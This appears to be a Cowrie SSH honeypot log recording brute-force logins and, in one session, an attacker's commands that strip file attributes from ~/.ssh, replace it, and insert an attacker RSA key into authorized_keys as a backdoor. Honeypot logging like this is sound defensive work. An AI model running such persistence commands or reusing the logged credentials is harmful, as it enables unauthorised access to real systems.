{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.393889Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":42586,"dst_ip":"159.203.135.109","dst_port":22,"session":"363f27bad025","protocol":"ssh","message":"New connection: 138.99.80.102:42586 (159.203.135.109:22) [session: 363f27bad025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.489711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.494293Z","src_ip":"138.99.80.102","session":"363f27bad025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.600709Z","src_ip":"138.99.80.102","session":"363f27bad025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:41.059634Z","src_ip":"138.99.80.102","session":"363f27bad025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.170487Z","src_ip":"138.99.80.102","session":"363f27bad025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":42594,"dst_ip":"159.203.135.109","dst_port":22,"session":"87e69263711b","protocol":"ssh","message":"New connection: 138.99.80.102:42594 (159.203.135.109:22) [session: 87e69263711b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.272506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.277208Z","src_ip":"138.99.80.102","session":"87e69263711b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.383424Z","src_ip":"138.99.80.102","session":"87e69263711b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.838445Z","src_ip":"138.99.80.102","session":"87e69263711b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.947675Z","src_ip":"138.99.80.102","session":"87e69263711b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:42.952295Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48876,"dst_ip":"159.203.135.109","dst_port":22,"session":"927ca9f214e0","protocol":"ssh","message":"New connection: 2.57.122.96:48876 (159.203.135.109:22) [session: 927ca9f214e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:48.556691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:48.561080Z","src_ip":"2.57.122.96","session":"927ca9f214e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:48.660215Z","src_ip":"2.57.122.96","session":"927ca9f214e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:48.957982Z","src_ip":"2.57.122.96","session":"927ca9f214e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":36288,"dst_ip":"10.17.0.5","dst_port":22,"session":"9763513a3e11","protocol":"ssh","message":"New connection: 103.134.154.36:36288 (10.17.0.5:22) [session: 9763513a3e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:50.045361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:50.049993Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:50.059324Z","src_ip":"2.57.122.96","session":"927ca9f214e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:50.285355Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QWE123qwe123","message":"login attempt [root/QWE123qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:51.259216Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:51.769037Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:51.772269Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:51.775763Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:52.014123Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:52.589244Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:52.592454Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:52.832090Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:52.835662Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":36296,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e9ea28dee6c","protocol":"ssh","message":"New connection: 103.134.154.36:36296 (10.17.0.5:22) [session: 6e9ea28dee6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:53.051573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:53.056801Z","src_ip":"103.134.154.36","session":"6e9ea28dee6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:53.283810Z","src_ip":"103.134.154.36","session":"6e9ea28dee6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:54.222689Z","src_ip":"103.134.154.36","session":"6e9ea28dee6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:55.452938Z","src_ip":"103.134.154.36","session":"6e9ea28dee6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":36302,"dst_ip":"10.17.0.5","dst_port":22,"session":"43d2d590475c","protocol":"ssh","message":"New connection: 103.134.154.36:36302 (10.17.0.5:22) [session: 43d2d590475c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:55.680015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:55.684545Z","src_ip":"103.134.154.36","session":"43d2d590475c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:55.911787Z","src_ip":"103.134.154.36","session":"43d2d590475c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:56.908519Z","src_ip":"103.134.154.36","session":"43d2d590475c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:57.137226Z","src_ip":"103.134.154.36","session":"43d2d590475c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:57.141170Z","src_ip":"103.134.154.36","session":"9763513a3e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":40298,"dst_ip":"159.203.135.109","dst_port":22,"session":"47b432719c3a","protocol":"ssh","message":"New connection: 93.71.118.99:40298 (159.203.135.109:22) [session: 47b432719c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:14.269619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:14.274949Z","src_ip":"93.71.118.99","session":"47b432719c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:14.446494Z","src_ip":"93.71.118.99","session":"47b432719c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mukul","password":"Mukul123","message":"login attempt [mukul/Mukul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:15.272700Z","src_ip":"93.71.118.99","session":"47b432719c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:16.539671Z","src_ip":"93.71.118.99","session":"47b432719c3a","protocol":"ssh"}
